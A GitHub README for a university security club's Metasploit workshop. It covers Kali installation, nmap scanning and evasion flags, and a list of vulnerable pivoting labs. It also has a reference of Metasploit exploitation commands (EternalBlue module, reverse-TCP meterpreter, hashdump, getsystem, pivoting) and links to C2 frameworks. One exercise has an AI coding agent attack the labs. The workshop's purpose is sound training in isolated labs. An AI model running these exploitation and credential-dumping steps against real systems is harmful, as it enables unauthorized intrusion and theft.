Skip to content

CSEC-President/csec-msf-workshop

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
LICENSE
LICENSE
 
 
README.md
README.md
 
 

Repository files navigation

CSEC Metasploit Framework Workshop

A hands-on introduction to penetration testing using Metasploit Framework.

Prerequisites

  • USB drive (minimum 16/32, 64GB+ recommended)
  • Computer with boot from USB capability
  • Basic Linux command line knowledge
  • VirtualBox or VMware for some exercises

Workshop Structure

This workshop consists of four parts: environment setup, NMAP practice, practical exploitation exercises, and AI-assisted penetration testing evaluation.

Part 1: Kali Linux Installation

Installation Guides

Choose the appropriate guide for your operating system:

Important Notes

Before starting:

  • Read the entire installation guide first
  • Verify all options in Rufus/Etcher match the guide exactly
  • After installation, boot into Kali and familiarize yourself with the interface

Common Issues:

  • Secure Boot may need to be disabled in BIOS
  • Some machines require legacy boot mode for USB booting

Part 2: NMAP Practice

Take 10-15 minutes to practice NMAP commands from the lecture. Save your outputs with -oA practice_scan for later reference. Full command reference is in the presentation slides and quick reference at the end of this document.

Part 3: Hands-On Lab Exercises

Work through the labs you like (organized by difficulty). If you have Hack The Box experience, start with easy labs to understand MSF workflow, then jump to advanced challenges (~8).

1. Pentest Pivot Example (Simplest - 3 machines, clear tutorial)

2. Franc205 Pivoting Lab (10 containers, progressive walkthrough)

3. Cimihan123 Docker Pivot Lab (2-network basic setup)

4. Oliver Wiegers Pentest Lab (Multiple services, monitoring stack)

5. HackInOS:1 (WordPress → Docker containers)

6. Metasploitable 3 (2 VMs, manual network config required)

7. myHouse7 (1 VM + 7 containers, 20 flags)

8. WinterMute (OSCP-level, port knocking, exploitation chain)

9. Capsulecorp Pentest (5-VM AD domain, MS17-010, multiple servers)

10. WaddleCorp Pentest (6-VM AD domain, PrintNightmare)

11. SecGen (Framework - generates random vulnerable VMs)

Part 4: AI-Assisted Penetration Testing

After completing exercises manually, evaluate AI tools' capabilities in solving the same challenges.

Setup

Download any MCP server that can execute terminal commands (e.g., Claude Code). Most modern AI coding assistants have this capability.

Process

  1. Choose a lab you've already solved
  2. Provide the AI with the target information
  3. Ask it to solve the exercise in one shot
  4. Evaluate its approach and success rate

Evaluation

  • Can it identify vulnerabilities correctly?
  • Does it use appropriate MSF modules?
  • Can it handle pivoting and lateral movement?
  • How well does it adapt to unexpected responses?

Essential Metasploit Commands

Basic Operations

# Start Metasploit console
msfconsole

# Update Metasploit database
msfdb init
msfupdate

# Search for modules
search <keyword>
search type:exploit platform:windows

# Use a module
use exploit/windows/smb/ms17_010_eternalblue

# Show module information
info
show options
show payloads
show targets

Exploitation Workflow

# Set required options
set RHOSTS <target_ip>
set LHOST <your_ip>
set PAYLOAD windows/meterpreter/reverse_tcp

# Check if target is vulnerable
check

# Run the exploit
exploit
run

Post-Exploitation

# Meterpreter commands
sysinfo
getuid
hashdump
ps
migrate <PID>

# Pivoting
run autoroute -s <subnet>
use auxiliary/scanner/portscan/tcp
set RHOSTS <pivoted_subnet>
run

Session Management

# Background current session
background
Ctrl+Z

# List sessions
sessions -l

# Interact with session
sessions -i <session_id>

# Kill session
sessions -k <session_id>

Network Configuration for Labs

Internal Network: VMs can only communicate with each other Set it in VM settings -> Network -> Attached to: Internal Network. Don't expose your vulnerable labs to the internet!

Troubleshooting Common Issues

Metasploit Database Issues

# Reinitialize database
msfdb reinit

# Check database status
msfdb status

# Manual fix
systemctl start postgresql
msfconsole -q
db_status

Network Connectivity

# Check network interfaces
ip addr show
ifconfig

# Test connectivity
ping <target_ip>
nmap -sn <target_subnet>

# Enable IP forwarding for pivoting
echo 1 > /proc/sys/net/ipv4/ip_forward

Resource Usage

MSF and VMs can be resource-intensive:

  • Allocate at least 2GB RAM per VM
  • Use free -h to monitor memory
  • Close unnecessary modules with back command
  • Restart msfconsole if it becomes sluggish

Quick Reference

Essential NMAP Commands

# Host discovery
nmap -sn 192.168.1.0/24

# Common scans
nmap -sS 192.168.1.1              # SYN scan (stealth)
nmap -sT 192.168.1.1              # TCP connect 
nmap -sV 192.168.1.1              # Version detection
nmap -sC 192.168.1.1              # Default scripts
nmap -A 192.168.1.1               # Aggressive scan

# Port specification
nmap -p 22,80,443 192.168.1.1     # Specific ports
nmap -p- 192.168.1.1              # All ports
nmap -F 192.168.1.1               # Fast (top 100)
nmap --top-ports 1000 192.168.1.1

# Timing
nmap -T0 192.168.1.1              # Paranoid
nmap -T4 192.168.1.1              # Aggressive

# Output
nmap -oA scan_name 192.168.1.1    # All formats

# Evasion
nmap -D RND:10 192.168.1.1        # Decoys
nmap -f 192.168.1.1               # Fragment packets

Essential MSF Commands

# Core workflow
search <term>
use <module>
show options
set RHOSTS <ip>
set LHOST <ip>
exploit

# Session handling
sessions -l
sessions -i <id>
background

# Meterpreter basics
sysinfo
getuid
hashdump
getsystem
migrate <PID>

Basic Linux Commands Reference

Essential commands for navigating the VM and following the exercises:

Navigation

# Print current directory
pwd

# List files in current directory
ls

# List with details (size, permissions, dates)
ls -la

# Change directory
cd path/to/directory

# Go to home directory
cd ~
cd $HOME

# Go up one directory
cd ..

# Go to previous directory
cd -

File Operations

# Create directory
mkdir directory_name

# Remove file
rm filename

# Remove directory and contents
rm -rf directory_name

# Copy file
cp source.txt destination.txt

# Move/rename file
mv oldname.txt newname.txt

# View file contents
cat file.txt

# View file with paging
less file.txt
# (press 'q' to quit)

# Edit file
vim file.txt
nano file.txt

Process Management

# List running processes
ps aux

# Find specific process
ps aux | grep process_name

# Kill process by PID
kill <PID>

# Kill process by name
pkill process_name

# Stop running command
Ctrl+C

System Information

# Check disk space
df -h

# Check memory usage
free -h

# Check CPU/memory usage (live)
top
# (press 'q' to quit)

# Download file from URL
wget https://example.com/file.tar.gz

# Extract tar.gz archive
tar -xvzf file.tar.gz

Environment Variables

# Set variable for current session
export CC=afl-cc
export CXX=afl-c++

# View variable
echo $CC
echo $HOME

# View all environment variables
env

Permissions

# Make script executable
chmod +x script.sh

# Run executable
./script.sh

# Run with sudo (root privileges)
sudo command

Disclaimer

Educational Purpose: This workshop teaches security testing techniques for authorized environments only. Use these skills exclusively on systems you own or have explicit written permission to test.

Legal Responsibility: You are solely responsible for your actions. The instructor and organizers accept no responsibility for:

  • Unauthorized access to systems
  • Data loss or system damage
  • Legal consequences of misuse
  • Any malicious use of techniques learned

Ethical Guidelines:

  • Never test systems without explicit authorization
  • Report vulnerabilities responsibly
  • Respect privacy and confidentiality
  • Use knowledge to improve security, not exploit it

By participating, you acknowledge understanding these terms and agree to use this knowledge ethically and legally.

Additional Resources

Basic

  • Armitage Manual - GUI for Metasploit with visual attack workflows and collaboration features. Try to find out if there is anything similar, free, and opensourced (this is a project idea).
  • Metasploit Custom Modules Development - Look for a section on creating your own exploits and auxiliary modules
  • Metasploit Pro Features - Advanced features like social engineering campaigns and web app testing (try to see what modern software is capable of)
  • Sliver C2 - Cross-platform implant framework with WireGuard, mTLS, compile-time obfuscation
  • Havoc Framework - Sleep obfuscation via Ekko/Foliage, indirect syscalls, AMSI/ETW patching
  • Covenant - .NET collaborative C2 with Roslyn dynamic compilation for Windows environments
  • Mythic - Multi-user C2 platform with pluggable agents and custom payload development
  • DEF CON AI Village - AI-assisted penetration testing and automated vulnerability discovery

Advanced

Author: Sasha Zyuzin

Good luck!

About

No description, website, or topics provided.

Resources

Readme

License

MIT license
Activity

Stars

0 stars

Watchers

0 watching

Forks

0 forks
Report repository

Releases

No releases published

Packages

No packages published